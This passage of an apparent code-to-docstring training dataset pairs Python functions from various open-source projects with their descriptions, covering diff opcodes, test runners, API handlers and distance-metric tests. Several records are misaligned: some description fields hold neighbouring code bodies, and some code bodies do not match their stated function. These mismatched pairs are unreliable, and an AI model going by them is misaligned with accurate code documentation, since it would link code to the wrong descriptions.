Request\\r\\n\\r\\n\"\n\n", "nl": "Test that pipelined requests get buffered, not processed in parallel."} {"code": "def iter_pad(length, arg0, *args):\n\n\targs = (arg0,) + args\n\treturn itertools.islice(itertools.chain(args, itertools.repeat(args[-1])), length)\n", "nl": "Iterator to pad arguments (at least 1) to specified length by repetition of final argument>>> print(''.join(iter_pad(3, 'a', 'b')))abb"} {"code": "def __init__(self, parent):\n self.data = {}\n self.parent = parent\n self.connect_id = 0\n self.merge_in_log = []\n", "nl": "Initialize datastructure@param parent: Parent organization, used to query data from other datastructures"} {"code": "def get_opcodes(self):\n\n if self.opcodes is not None:\n return self.opcodes\n i = j = 0\n self.opcodes = answer = []\n for ai, bj, size in self.get_matching_blocks():\n tag = ''\n if i < ai and j < bj:\n tag = 'replace'\n elif i < ai:\n tag = 'delete'\n elif j < bj:\n tag = 'insert'\n if tag:\n answer.append( (tag, i, ai, j, bj) )\n i, j = ai+size, bj+size\n if size:\n answer.append( ('equal', ai, i, bj, j) )\n return answer\n", "nl": "Return list of 5-tuples describing how to turn a into b.Each tuple is of the form (tag, i1, i2, j1, j2). The first tuplehas i1 == j1 == 0, and remaining tuples have i1 == the i2 from thetuple preceding it, and likewise for j1 == the previous j2.The tags are strings, with these meanings:'replace': a[i1:i2] should be replaced by b[j1:j2]'delete': a[i1:i2] should be deleted.Note that j1==j2 in this case.'insert': b[j1:j2] should be inserted at a[i1:i1].Note that i1==i2 in this case.'equal': a[i1:i2] == b[j1:j2]>>> a = \"qabxcd\">>> b = \"abycdf\">>> s = SequenceMatcher(None, a, b)>>> for tag, i1, i2, j1, j2 in s.get_opcodes():... print (\"%7s a[%d:%d] (%s) b[%d:%d] (%s)\" %... (tag, i1, i2, a[i1:i2], j1, j2, b[j1:j2]))delete a[0:1] (q) b[0:0] ()equal a[1:3] (ab) b[0:2] (ab)replace a[3:4] (x) b[2:3] (y)equal a[4:6] (cd) b[3:5] (cd)insert a[6:6] () b[5:6] (f)"} {"code": "def _get_default_auxiliary_params(self) -> dict:", "nl": "Dictionary of auxiliary parameters that dictate various model-agnostic logic, such as:Which column dtypes are filtered out of the input data, or how much memory the model is allowed to use."} {"code": "def finish(self, **params):\n return self.update(state='finished', **params)\n", "nl": "Move running job to finished state.:param \\*\\*params: (optional) keyword meta parameters to update.:return: a previous string job state.:rtype: :class:`str`Usage::>>> job.finish()'running'"} {"code": "def get_host_path(root, path, instance=None):\n r_val = resolve_value(path)\n if isinstance(r_val, dict):", "nl": "Generates the host path for a container volume. If the given path is a dictionary, uses the entry of the instancename.:param root: Root path to prepend, if ``path`` does not already describe an absolute path.:type root: unicode | str | AbstractLazyObject:param path: Path string or dictionary of per-instance paths.:type path: unicode | str | dict | AbstractLazyObject:param instance: Optional instance name.:type instance: unicode | str:return: Path on the host that is mapped to the container volume.:rtype: unicode | str"} {"code": "def obs_data(self):\n return self._prev_obs_data\n", "nl": "The observation data of the current step.return self._obs_data@propertydef prev_obs_data(self):The observation data of the previous step."} {"code": "def mark_inactive(self):\n options_to_filter = ['cpu', 'cuda', 'dev_conll_gold', 'epochs', 'lang', 'mode', 'save_name', 'shorthand']\n if option.endswith('_file') or option.endswith('_dir'):\n return True\n elif option in options_to_filter:\n return True\n else:\n return False\n", "nl": " Drop memory intensive resources if keeping this processor around for reasons other than running it. self._trainer = Noneself._vocab = None@propertydef pretrain(self):return self._pretrain@propertydef trainer(self):return self._trainer@propertydef vocab(self):return self._vocab@staticmethoddef filter_out_option(option): Filter out non-processor configurations "} {"code": "def main(**kwargs):", "nl": "A simple test runner.This test runner is essentially equivalent to `unittest.main` fromthe standard library, but adds support for tornado-style optionparsing and log formatting. It is *not* necessary to use this`main` function to run tests using `AsyncTestCase`; these testsare self-contained and can run with any test runner.The easiest way to run a test is via the command line::python -m tornado.testing tornado.test.stack_context_testSee the standard library unittest module for ways in which tests canbe specified.Projects with many tests may wish to define a test script like``tornado/test/runtests.py``. This script should define a method``all()`` which returns a test suite and then call`tornado.testing.main()`. Note that even when a test script isused, the ``all()`` test suite may be overridden by naming asingle test on the command line::# Runs all testspython -m tornado.test.runtests# Runs one testpython -m tornado.test.runtests tornado.test.stack_context_testAdditional keyword arguments passed through to ``unittest.main()``.For example, use ``tornado.testing.main(verbosity=2)``to show many test details as they are run.See http://docs.python.org/library/unittest.html#unittest.mainfor full argument list... versionchanged:: 5.0This function produces no output of its own; only that producedby the `unittest` module (Previously it would add a PASS or FAILlog message)."} {"code": "def c_init(self, name, sub):\n", "nl": "return %(name)s = 0;%(name)s_bad_thing = malloc(100000);//printf(\"Initializing %(name)s\\\\n\"); % locals()"} {"code": "def _read_words(filename):\n with tf.device('/cpu:0'):\n with tf.gfile.GFile(filename, \"r\") as f:\n return f.read().decode(\"utf-8\").strip().split()\n\n", "nl": "Reads a whitespace tokenized version of the specified file (in UTF-8 encoding) using Tensorflow's API.All whitespace characters at the beginning and ending of the file are trimmed.:param filename: The path of the file to be read.:return: The whitespace tokenized version of the specified file."} {"code": "def rotation(angle: float) -> list[list[float]]:\n c, s = cos(angle), sin(angle)\n return [[c, -s], [s, c]]\n\n", "nl": ">>> rotation(45) # doctest: +NORMALIZE_WHITESPACE[[0.5253219888177297, -0.8509035245341184],[0.8509035245341184, 0.5253219888177297]]"} {"code": "def get_list(self):\n\n LIST_ACTION = 'edit_announcements'\n EDIT_ACTION = 'edit_announcement'\n DELETE_ACTION = 'delete_announcement'\n ADD_ACTION = 'add_announcement'\n DEFAULT_TITLE_TEXT = 'New Announcement'\n\n get_actions = [LIST_ACTION, EDIT_ACTION]\n post_actions = [ADD_ACTION, DELETE_ACTION]\n\n LINK_URL = 'edit_announcements'\n URL = '/{}'.format(LINK_URL)\n LIST_URL = '{}?action={}'.format(LINK_URL, LIST_ACTION)\n\n @classmethod", "nl": "Shows a list of announcements.student = Noneuser = self.personalize_page_and_get_user()transient_student = Falseif user is None:transient_student = Trueelse:student = models.Student.get_enrolled_student_by_user(user)if not student:transient_student = Trueself.template_value['transient_student'] = transient_studentlocale = self.app_context.get_current_locale()if locale == self.app_context.default_locale:locale = Noneitems = AnnouncementEntity.get_announcements(locale=locale)items = AnnouncementsRights.apply_rights(self, items)self.template_value['announcements'] = self.format_items_for_template(items)self._render()def _render(self):self.template_value['navbar'] = {'announcements': True}self.render('announcements.html')class AnnouncementsDashboardHandler(AnnouncementsHandlerMixin, dashboard.DashboardHandler):Handler for announcements."} {"code": "def increasecount(self):\n value = int(self.params.get(\"value\"))\n skinstring = self.params.get(\"skinstring\")\n windowprop = self.params.get(\"winprop\")\n value -= 1\n if windowprop:\n self.win.setProperty(windowprop, str(value))\n if skinstring:\n xbmc.executebuiltin(\"Skin.SetString(%s,%s)\" % (skinstring, value))\n", "nl": "helper to increase a counter value and write result to a window prop or skinstringvalue = int(self.params.get(\"value\"))skinstring = self.params.get(\"skinstring\")windowprop = self.params.get(\"winprop\")value += 1if windowprop:self.win.setProperty(windowprop, str(value))if skinstring:xbmc.executebuiltin(\"Skin.SetString(%s,%s)\" % (skinstring, value))def decreasecount(self):helper to decrease a counter value and write result to a window prop or skinstring"} {"code": "def get_methods(self):\n return [\n (\"listconfigs\", self._list_providers),\n (\"lcfgs\", self._list_providers),\n (\"listproviders\", self._list_providers),\n (\"listcontainers\", self._list_containers),\n (\"lcs\", self._list_containers),\n (\"listexports\", self._list_exported_configs),\n (\"listimports\", self._list_imported_configs),\n (\"lexps\", self._list_exported_configs),\n (\"limps\", self._list_imported_configs),", "nl": "Returns the commands provided by this service"} {"code": "def _simple_png():\n Test that unauthenticated users cannot put avatars.\n\n The view should respond with a 401 response, confirming the user\n is unauthorised to put to the view.\n \"\"\"", "nl": "Create a 1x1 black png in memory.image_file = BytesIO()image = Image.new('RGBA', (1, 1))image.save(image_file, 'png')image_file._committed = Trueimage_file.name = 'test.png'image_file.url = '{0}/{1}'.format(TEST_SERVER,image_file.name)image_file.seek(0)return image_fileSIMPLE_PNG = _simple_png()class TestProfileAvatar(APIRequestTestCase):view_class = views.ProfileAvatardef tearDown(self):SIMPLE_PNG.seek(0)def test_get(self):user = UserFactory.build(avatar=SIMPLE_PNG)request = self.create_request(user=user)view = self.view_class.as_view()response = view(request)self.assertEqual(response.status_code, status.HTTP_200_OK)self.assertEqual(response.data['avatar'], SIMPLE_PNG.url)def test_get_no_avatar(self):user = UserFactory.build()request = self.create_request(user=user)view = self.view_class.as_view()response = view(request)self.assertEqual(response.status_code, status.HTTP_200_OK)self.assertEqual(response.data['avatar'], None)def test_unauthenticated_put(self):"} {"code": "def postprocess(self, result):\n\n predictions = []\n with torch.no_grad():\n label_ids = result.pop('label_ids')\n labels = label_ids[label_ids > 0].detach().cpu().numpy()\n features = torch.nn.functional.normalize(\n result['features'][label_ids > 0]).detach().cpu().numpy()\n dist = np.dot(features, self.anchor_feature.T)\n pred = self.anchor_labels[np.argmax(dist, -1)]\n predictions.extend(pred)\n\n new_results = list()\n for b, pred in enumerate(predictions):\n new_results.append({\n 'id':\n result['id'][b] if 'id' in result else str(uuid.uuid4()),\n 'output':\n self.label_candidates_ids[pred],\n 'predictions':\n self.label_candidates_ids[pred],\n })\n if len(new_results) == 1:\n new_results = new_results[0]\n return new_results", "nl": "The postprocess that converts embeddings of CPT to final results.Args:result: the dict of prediction results by the modelReturns: the list of the final results."} {"code": "def abstractmethod(funcobj):\n funcobj.__isabstractmethod__ = True\n return funcobj\n\n\nclass abstractproperty(property):\n \"\"\"A decorator indicating abstract properties.", "nl": "A decorator indicating abstract methods.Requires that the metaclass is ABCMeta or derived from it. Aclass that has a metaclass derived from ABCMeta cannot beinstantiated unless all of its abstract methods are overridden.The abstract methods can be called using any of the normal'super' call mechanisms.Usage:class C:__metaclass__ = ABCMeta@abstractmethoddef my_abstract_method(self, ...):..."} {"code": "def readable(self):\n return False\n", "nl": "Return a bool indicating whether object was opened for reading.If False, read() will raise OSError."} {"code": "def boxes_iou_normal(boxes_a, boxes_b):\n assert boxes_a.shape[1] == boxes_b.shape[1] == 4\n x_min = torch.max(boxes_a[:, 0, None], boxes_b[None, :, 0])\n x_max = torch.min(boxes_a[:, 2, None], boxes_b[None, :, 2])\n y_min = torch.max(boxes_a[:, 1, None], boxes_b[None, :, 1])\n y_max = torch.min(boxes_a[:, 3, None], boxes_b[None, :, 3])\n x_len = torch.clamp_min(x_max - x_min, min=0)\n y_len = torch.clamp_min(y_max - y_min, min=0)\n area_a = (boxes_a[:, 2] - boxes_a[:, 0]) * (boxes_a[:, 3] - boxes_a[:, 1])\n area_b = (boxes_b[:, 2] - boxes_b[:, 0]) * (boxes_b[:, 3] - boxes_b[:, 1])\n a_intersect_b = x_len * y_len\n iou = a_intersect_b / torch.clamp_min(area_a[:, None] + area_b[None, :] - a_intersect_b, min=1e-6)\n return iou\n\n", "nl": "Args:boxes_a: (N, 4) [x1, y1, x2, y2]boxes_b: (M, 4) [x1, y1, x2, y2]Returns:"} {"code": "def has_element(self, kind):\n return gst.element_factory_find(kind) is not None\n", "nl": "Returns True if a gstreamer element is available"} {"code": "def bind(self, model=None, session=None, data=None):\n but FormAlchemy cannot instantiate it. (Make sure\n all constructor parameters are optional!) %r - %s''' % (", "nl": "Bind to an instanceif not (model or session or data):raise Exception('must specify at least one of {model, session, data}')if not model:if not self.model:raise Exception('model must be specified when none is already set')model = fields._pk(self.model) is None and self.doc() or self.model# copy.copy causes a stacktrace on python 2.5.2/OSX + pylons. unable to reproduce w/ simpler sample.mr = object.__new__(self.__class__)mr.__dict__ = dict(self.__dict__)# two steps so bind's error checking can workmr.rebind(model, session, data)mr._fields = OrderedDict([(key, renderer.bind(mr)) for key, renderer in self._fields.items()])if self._render_fields:mr._render_fields = OrderedDict([(field.key, field) for field in[field.bind(mr) for field in self._render_fields.values()]])return mrdef rebind(self, model=None, session=None, data=None):if model is not None and model is not self.doc:if not isinstance(model, self.doc):try:model = model()except Exception as e:raise Exception(%s appears to be a class, not an instance,"} {"code": "def get_known_backends():\n known_backends = ['generic', 'multi_host_migration']\n known_backends += os.listdir(data_dir.BASE_BACKEND_DIR)\n return known_backends\n\n", "nl": "Return virtualization backends supported by avocado-vt."} {"code": "def scale_signal(audio):\n\treturn audio['signal'] / 2**(audio['sample_width'] - 1)\n", "nl": " Returns an audio signal scaled so that the max/min values are +1/-1."} {"code": "def setUp(self):\n self.blivet.reset()\n\n for disk in self.blivet.disks:\n self.blivet.recursive_remove(disk)\n\n try:\n self.blivet.do_it()\n except Exception:\n self.blivet.reset()\n raise", "nl": " Do any setup required prior to running a test. self.blivet = Blivet()self.addCleanup(self._clean_up)self.set_up_storage()def _clean_up(self): Clean up any resources that may have been set up for a test. "} {"code": "def loss_printer(log):\n t = Texttable()\n t.add_rows([[\"Round\", \"Modularity\"]])\n t.add_rows([k for k in log[\"cluster_quality\"]])\n print(t.draw())", "nl": "Function to print the logs in a nice tabular format.:param log: Dictionary with the log."} {"code": "def read_library_config(self):\n try:\n json_request = self.read_json_request(RequestLibraryByIdSchema())\n\n library_settings = {\n \"library_config\": {\n \"id\": 0,\n \"name\": '',\n \"path\": '/',\n \"enable_remote_only\": False,\n \"enable_scanner\": False,\n \"enable_inotify\": False,\n \"priority_score\": 0,\n },\n \"plugins\": {\n \"enabled_plugins\": [],\n }\n }\n if json_request.get('id'):\n library_config = Library(json_request.get('id'))\n library_settings = {\n \"library_config\": {\n \"id\": library_config.get_id(),\n \"name\": library_config.get_name(),\n \"path\": library_config.get_path(),\n \"locked\": library_config.get_locked(),\n \"enable_remote_only\": library_config.get_enable_remote_only(),\n \"enable_scanner\": library_config.get_enable_scanner(),\n \"enable_inotify\": library_config.get_enable_inotify(),\n \"priority_score\": library_config.get_priority_score(),\n \"tags\": library_config.get_tags(),\n },\n \"plugins\": {\n \"enabled_plugins\": library_config.get_enabled_plugins(),\n }\n }\n\n response = self.build_response(\n SettingsLibraryConfigReadAndWriteSchema(),\n library_settings\n )\n\n self.write_success(response)\n return\n except BaseApiError as bae:\n tornado.log.app_log.error(\"BaseApiError.{}: {}\".format(self.route.get('call_method'), str(bae)))\n return\n except Exception as e:\n self.set_status(self.STATUS_ERROR_INTERNAL, reason=str(e))\n self.write_error()\n", "nl": "Settings - read the configuration of one library---description: Read the configuration of one libraryrequestBody:description: The ID of the libraryrequired: Truecontent:application/json:schema:RequestLibraryByIdSchemaresponses:200:description: 'Sample response: Returns the remote installation link configuration.'content:application/json:schema:SettingsLibraryConfigReadAndWriteSchema400:description: Bad request; Check `messages` for any validation errorscontent:application/json:schema:BadRequestSchema404:description: Bad request; Requested endpoint not foundcontent:application/json:schema:BadEndpointSchema405:description: Bad request; Requested method is not allowedcontent:application/json:schema:BadMethodSchema500:description: Internal error; Check `error` for exceptioncontent:application/json:schema:InternalErrorSchema"} {"code": "def get_user_job_type():\n email = helpers.get_user_email()\n privileged_user_emails = (db_config.get_value('privileged_users') or\n '').splitlines()\n for privileged_user_email in privileged_user_emails:\n if ';' in privileged_user_email:\n tokens = privileged_user_email.split(';')\n privileged_user_real_email = tokens[0]\n privileged_user_job_type = tokens[1]\n if utils.emails_equal(email, privileged_user_real_email):\n return privileged_user_job_type\n return None\n\n", "nl": "Return the job_type that is assigned to the current user. None means onecan access any job type. You might want to invoke get_access(..) withthe job type afterward."} {"code": "def emit_func_python(func, o=sys.__stdout__, d = init()):\n d.finalize(parent = True)\n", "nl": "Emits all items in the data store in a format such that it can be sourced by a shell.def write_func(func, o, call = False):body = d.getVar(func, False)if not body.startswith(\"def\"):body = _functionfmt.format(function=func, body=body)o.write(body.strip() + \"\\n\\n\")if call:o.write(func + \"(d)\" + \"\\n\\n\")write_func(func, o, True)pp = bb.codeparser.PythonParser(func, logger)pp.parse_python(d.getVar(func, False))newdeps = pp.execsnewdeps |= set((d.getVarFlag(func, \"vardeps\") or \"\").split())seen = set()while newdeps:deps = newdepsseen |= depsnewdeps = set()for dep in deps:if d.getVarFlag(dep, \"func\", False) and d.getVarFlag(dep, \"python\", False):write_func(dep, o)pp = bb.codeparser.PythonParser(dep, logger)pp.parse_python(d.getVar(dep, False))newdeps |= pp.execsnewdeps |= set((d.getVarFlag(dep, \"vardeps\") or \"\").split())newdeps -= seendef update_data(d):Performs final steps upon the datastore, including application of overrides"} {"code": "def test_ozbay_dist_abs(self):\n self.assertEqual(self.cmp.dist('', ''), 0)\n\n self.assertAlmostEqual(\n self.cmp.dist('piccadilly', 'bandage'), 0.9467532467532467\n )\n self.assertAlmostEqual(self.cmp.dist('abcd', 'efgh'), 1.0)\n\n self.assertEqual(self.cmp.dist('ban', 'ban'), 0.0)\n self.assertAlmostEqual(\n self.cmp.dist('ban', 'bane'), 0.006944444444444444\n )\n self.assertAlmostEqual(\n self.cmp.dist('ban', 'band'), 0.006944444444444444\n )\n self.assertEqual(self.cmp.dist('ban', 'bat'), 0.02777777777777778)\n self.assertAlmostEqual(\n self.cmp.dist('ban', 'bands'), 0.03555555555555556\n )\n self.assertEqual(self.cmp.dist('ban', 'banana'), 0.05555555555555555)\n self.assertAlmostEqual(\n self.cmp.dist('ban', 'bandana'), 0.0634920634920635\n )\n self.assertEqual(self.cmp.dist('ban', 'bandit'), 0.08333333333333333)\n self.assertAlmostEqual(\n self.cmp.dist('ban', 'bandage'), 0.126984126984127\n )\n\n self.assertEqual(self.cmp.dist('piccadilly', 'piccadilly'), 0.0)\n self.assertEqual(\n self.cmp.dist('piccadilly', 'piccadilyl'), 0.0004999999999999999\n )\n self.assertAlmostEqual(\n self.cmp.dist('piccadilly', 'piccadlily'), 0.0013333333333333335\n )\n self.assertEqual(self.cmp.dist('piccadilly', 'picacdilly'), 0.002)\n self.assertEqual(self.cmp.dist('piccadilly', 'picadily'), 0.0025)\n self.assertEqual(self.cmp.dist('picadily', 'piccadilly'), 0.003125)\n self.assertAlmostEqual(\n self.cmp.dist('piccadilly', 'picacdlily'), 0.009333333333333334\n )\n self.assertAlmostEqual(\n self.cmp.dist('ipcacdily', 'piccadilly'), 0.011522633744855966\n )\n self.assertAlmostEqual(\n self.cmp.dist('piccadilly', 'ipcacdily'), 0.01037037037037037\n )\n self.assertEqual(self.cmp.dist('piccadilly', 'pcicadlyil'), 0.014)\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test abydos.distance.Ozbay.dist_abs.self.assertEqual(self.cmp.dist_abs('', ''), 0.0)self.assertAlmostEqual(self.cmp.dist_abs('piccadilly', 'bandage'), 73.63636363636363)self.assertAlmostEqual(self.cmp.dist_abs('abcd', 'efgh'), 16)# Test cases from https://github.com/hakanozbay/ozbay-metricself.assertEqual(self.cmp.dist_abs('ban', 'ban'), 0.0)self.assertAlmostEqual(self.cmp.dist_abs('ban', 'bane'), 0.3333333333)self.assertAlmostEqual(self.cmp.dist_abs('ban', 'band'), 0.3333333333)self.assertEqual(self.cmp.dist_abs('ban', 'bat'), 0.75)self.assertAlmostEqual(self.cmp.dist_abs('ban', 'bands'), 1.3333333333)self.assertEqual(self.cmp.dist_abs('ban', 'banana'), 2.0)self.assertAlmostEqual(self.cmp.dist_abs('ban', 'bandana'), 2.3333333333)self.assertEqual(self.cmp.dist_abs('ban', 'bandit'), 3.0)self.assertAlmostEqual(self.cmp.dist_abs('ban', 'bandage'), 4.6666666666)self.assertEqual(self.cmp.dist_abs('piccadilly', 'piccadilly'), 0.0)self.assertEqual(self.cmp.dist_abs('piccadilly', 'piccadilyl'), 0.25)self.assertAlmostEqual(self.cmp.dist_abs('piccadilly', 'piccadlily'), 0.3333333333)self.assertEqual(self.cmp.dist_abs('piccadilly', 'picacdilly'), 0.4)self.assertEqual(self.cmp.dist_abs('piccadilly', 'picadily'), 0.4)self.assertEqual(self.cmp.dist_abs('picadily', 'piccadilly'), 0.5)self.assertAlmostEqual(self.cmp.dist_abs('piccadilly', 'picacdlily'), 1.3333333333)self.assertAlmostEqual(self.cmp.dist_abs('ipcacdily', 'piccadilly'), 1.4814814814814814)self.assertAlmostEqual(self.cmp.dist_abs('piccadilly', 'ipcacdily'), 1.333333333)self.assertEqual(self.cmp.dist_abs('piccadilly', 'pcicadlyil'), 2.0)def test_ozbay_dist(self):Test abydos.distance.Ozbay.dist."} {"code": "def reset_help_menu_entries(self):\n", "nl": "Update the additional help entries on the Help menuhelp_list = idleConf.GetAllExtraHelpSourcesList()helpmenu = self.menudict['help']helpmenu_length = helpmenu.index(END)if helpmenu_length > self.base_helpmenu_length:helpmenu.delete(self.base_helpmenu_length + 1, helpmenu_length)if help_list:helpmenu.add_separator()for entry in help_list:cmd = self.__extra_help_callback(entry[1])helpmenu.add_command(label=entry[0], command=cmd)self.menudict['help'] = helpmenudef __extra_help_callback(self, helpfile):Create a callback with the helpfile value frozen at definition time"} {"code": "def get_QAbstractItemView():\n\n try:\n import PySide.QtGui as QtGui\n return QtGui.QScrollArea\n except ImportError:\n import PyQt5.QtWidgets as QtWidgets\n return QtWidgets.QScrollArea\n\n", "nl": "QAbstractItemView getter.try:import PySide.QtGui as QtGuireturn QtGui.QAbstractItemViewexcept ImportError:import PyQt5.QtWidgets as QtWidgetsreturn QtWidgets.QAbstractItemViewdef get_QScrollArea():QScrollArea getter."} {"code": "def RegisterCreatorFunction(self, aType, aFunction):\n self.typeToFunctionMap[aType] = aFunction\n\n\n @staticmethod", "nl": "Register the given function to be called when we need an editor for the given type.The function must accept three parameter: an ObjectListView, row index, and subitem index.It should return a wxWindow that is parented on the listview, and that responds to:- SetValue(newValue)- GetValue() to return the value shown in the editor"} {"code": "def parse_if_range_header(value):\n if not value:\n return IfRange()\n date = parse_date(value)\n if date is not None:\n return IfRange(date=date)\n return IfRange(unquote_etag(value)[0])\n\n", "nl": "Parses an if-range header which can be an etag or a date. Returnsa :class:`~werkzeug.datastructures.IfRange` object... versionadded:: 0.7"} {"code": "def updateData(self, fp, prop):\n modes = []\n return modes\n", "nl": " If a property of the handled feature has changed we have the chance to handle this here returndef getDisplayModes(self, obj): Return a list of display modes. "} {"code": "def __virtual__():\n\n :param name: Name to get.\n :param hostname: Whether to get the HostName. Defaults to True.\n :param localhostname: Whether to get the LocalHostName. Defaults to\n True.\n :param computername: Whether to get the ComputerName. Defaults to\n True.\n\n :return: Dictionary of name types and their current values.\n\n CLI Example::\n\n salt '*' hostname.get taco\n \"\"\"", "nl": "Only load if the platform is macOSif __grains__.get('kernel') != 'Darwin':return Falsereturn __virtualname__def get(hostname=True, localhostname=True, computername=True):Return hostnames."} {"code": "def test_sync_constraints_must_raise(self):\n p = Post('a', 'b', 4)\n self.engine.save(p)\n p.delete()\n results = self.engine.scan(Post).all()\n self.assertEquals(results, [])\n", "nl": " Sync with constraints fails if raise_on_conflict is False p = Post('a', 'b', 4)with self.assertRaises(ValueError):self.engine.sync(p, raise_on_conflict=False,constraints=[Post.ts < 5])def test_delete(self): Model can delete itself "} {"code": "def confirmationwindow(self, windowtext):\n confirmed.\"\"\"\n If you answer yes to the following, the your currently chosen patch chunks\n will be loaded into an editor. You may modify the patch from the editor, and\n save the changes if you wish to change the patch. Otherwise, you can just\n close the editor without saving to accept the current patch as-is.\n\n NOTE: don't add/remove lines unless you also modify the range information.\n Failing to follow this rule will result in the commit aborting.\n\n Are you sure you want to review/edit and confirm the selected changes [Yn]?\n \"\"\"", "nl": "Display an informational window, then wait for and return a keypress.lines = windowtext.split(\"\\n\")confirmwin = curses.newwin(len(lines), 0, 0, 0)try:for line in lines:self.printstring(confirmwin, line, pairname=\"selected\")except curses.error:passtry:response = chr(confirmwin.getch())except ValueError:response = Nonereturn responsedef confirmcommit(self, review=False):Ask for 'Y' to be pressed to confirm selected. Return True if"} {"code": "def response_elements(self) -> Dict[str, str]:\n return self[\"responseElements\"]\n\n @property", "nl": "The responseElements key value is useful if you want to trace a request by following up with AWS Support.Both x-amz-request-id and x-amz-id-2 help Amazon S3 trace an individual request. These values are the sameas those that Amazon S3 returns in the response to the request that initiates the events, so they can beused to match the event to the request."} {"code": "def __init__(self, machine: \"MachineController\", name: str) -> None:\n await super().device_added_to_mode(mode)\n self.tick_var = '{}_{}_tick'.format(mode.name, self.name)\n", "nl": "Initialise mode timer.super().__init__(machine, name)self.machine = machineself.name = nameself.running = Falseself.start_value = None # type: Optional[int]self.restart_on_complete = None # type: Optional[bool]self._ticks = 0self.tick_var = None # type: Optional[str]self.tick_secs = None # type: Optional[float]self.player = None # type: Optional[Player]self.end_value = None # type: Optional[int]self.max_value = None # type: Optional[int]self.ticks_remaining = None # type: Optional[int]self.direction = None # type: Optional[str]self.timer = None # type: Optional[PeriodicTask]self.event_keys = list() # type: List[EventHandlerKey]self.delay = None # type: Optional[DelayManager]async def device_added_to_mode(self, mode: Mode) -> None:Device added in mode."} {"code": "def get_titlesRefs(self):\n self.namesRefs.update(namesRefs)\n", "nl": "Return the dictionary with the references to movies.return self.titlesRefsdef update_namesRefs(self, namesRefs):Update the dictionary with the references to names."} {"code": "def perform_agents_search(self) -> None:\n self._unregister_service()\n self._unregister_agent()\n", "nl": "Perform agents search to query proofs from.strategy = cast(Strategy, self.context.strategy)if not strategy.is_searching:returnquery = strategy.get_location_and_service_query()oef_search_dialogues = cast(OefSearchDialogues, self.context.oef_search_dialogues)oef_search_msg, _ = oef_search_dialogues.create(counterparty=self.context.search_service_address,performative=OefSearchMessage.Performative.SEARCH_SERVICES,query=query,)self.context.outbox.put_message(message=oef_search_msg)self.context.logger.info(\"Searching for agents on SOEF...\")def teardown(self) -> None:Implement the task teardown."} {"code": "def _find_in_relation(self, relation_type, return_one=True):\n ids = []\n relations = self.find_in_relation(relation_type)\n for relation in relations:\n id_ = relation[\"url\"].split(\"/\")[-1]\n id_ = int(id_)\n ids.append(id_)\n if return_one:\n return ids[0] if ids else None\n else:\n return ids\n\n @property", "nl": "Find relation type in relations and return one or listone use for Parent WI"} {"code": "def test_last_first():\n assert_equals(cutoff_tokens(['1', '23', '456'], 3), ['1', '23'])\n\n", "nl": "Test the parsing of author's name into (Surname, First Name).assert_equals(last_first('Surname, First Name'), {'last': 'Surname', 'first': 'First Name'},)assert_equals(last_first('First Name Surname'), {'last': 'Surname', 'first': 'First Name'},)assert_equals(last_first('Surname1, First1 and Sur2, First2'),{'last': 'Surname1', 'first': 'First1 and Sur2, First2'},)def test_cutoff_tokens():Test the 'cutoff_tokens' function."} {"code": "def update_available(self):\n\n update_data = self.cached_data('__workflow_update_status', max_age=0)\n self.logger.debug('update_data : {}'.format(update_data))\n\n if not update_data or not update_data.get('available'):\n return False\n\n return update_data['available']\n", "nl": "Is an update available?.. versionadded:: 1.9See :ref:`manual-updates` in the :ref:`user-manual` for detailedinformation on how to enable your workflow to update itself.:returns: ``True`` if an update is available, else ``False``"} {"code": "def dispatch(self, parameterName, value):\n if value is None:\n raise UsageError(\"Parameter '%s' requires an argument.\"\n % (parameterName,))\n try:\n value = self.coerce(value)\n except ValueError as e:\n raise UsageError(\"Parameter type enforcement failed: %s\" % (e,))\n\n self.options.opts[parameterName] = value\n\n\nclass Options(dict):\n \"\"\"", "nl": "When called in dispatch, do the coerce for C{value} and save thereturned value."} {"code": "def newText(content):\n content's length \"\"\"", "nl": "Creation of a new text node. ret = libxml2mod.xmlNewText(content)if ret is None:raise treeError('xmlNewText() failed')return xmlNode(_obj=ret)def newTextLen(content, len):Creation of a new text node with an extra parameter for the"} {"code": "def __init__(self):\n\n :param args: Positional arguments\n :param kwargs: Keyword arguments\n \"\"\"", "nl": "Initialize the settings file migration.super().__init__()self.content: Dict = {}self._backup_suffix = \".v0\"def run(self, *args, **kwargs) -> None:Perform the settings file migration."} {"code": "def use_cuda(enabled, device_id=0):\n print('random state: python %.3f torch %.3f numpy %.3f' % (\n random.random(), torch.rand(1)[0], np.random.rand()))\n\n\nclass ContextGenerator(object):\n \"\"\"Dialogue context generator. Generates contexes from the file.\"\"\"", "nl": "Verifies if CUDA is available and sets default device to be device_id.if not enabled:return Noneassert torch.cuda.is_available(), 'CUDA is not available'torch.set_default_tensor_type('torch.cuda.FloatTensor')torch.cuda.set_device(device_id)return device_iddef prob_random():Prints out the states of various RNGs."} {"code": "def save(self, public=False):\n self.validate()\n\n body = {\n 'feedinfo': self._info,\n 'reports': [report._info for report in self._reports],\n }\n\n url = \"/threathunter/feedmgr/v2/orgs/{}/feeds\".format(\n self._cb.credentials.org_key\n )\n if public:\n url = url + \"/public\"\n\n new_info = self._cb.post_object(url, body).json()\n self._info.update(new_info)\n return self\n", "nl": "Saves this feed on the Enterprise EDR server.:param public: Whether to make the feed publicly available:return: The saved feed:rtype: :py:class:`Feed`"} {"code": "def _check_reimport(self, node, basename=None, level=None):", "nl": "check if the import is necessary (i.e. not already done)if not self.linter.is_message_enabled(\"reimported\"):returnframe = node.frame()root = node.root()contexts = [(frame, level)]if root is not frame:contexts.append((root, None))for known_context, known_level in contexts:for name, alias in node.names:first = _get_first_import(node, known_context, name, basename, known_level, alias)if first is not None:self.add_message(\"reimported\", node=node, args=(name, first.fromlineno))def _report_external_dependencies(self, sect, _, _dummy):return a verbatim layout for displaying dependencies"} {"code": "def __sect_init_traces(self):\n self._tr_offsets = np.empty(len(self.stream))\n if not self.sect_dist_degree:\n try:\n for _i, tr in enumerate(self.stream):\n self._tr_offsets[_i] = tr.stats.distance\n except Exception:", "nl": "Arrange the trace data used for plotting.If necessary the data is resampled beforebeing collected in a continuous list."} {"code": "def request_data(self, merge=True):\n return TEST_HOST\n", "nl": "Return current request data (POST or GET)return self._request_datadef request_host(self):Return current host value"} {"code": "def resize_filesystem_linux(session, partition, size):", "nl": "Resize file system in linux guest.For ext2, ext3, ext4 filesystem, support enlarge and shrink.For xfs filesystem, only support enlarge, not support shrink.:param session: session object to guest.:param partition: disk partition, like /dev/sdb1.:param size: resize file system to size.size unit can be 'B', 'K', 'M', 'G'.support 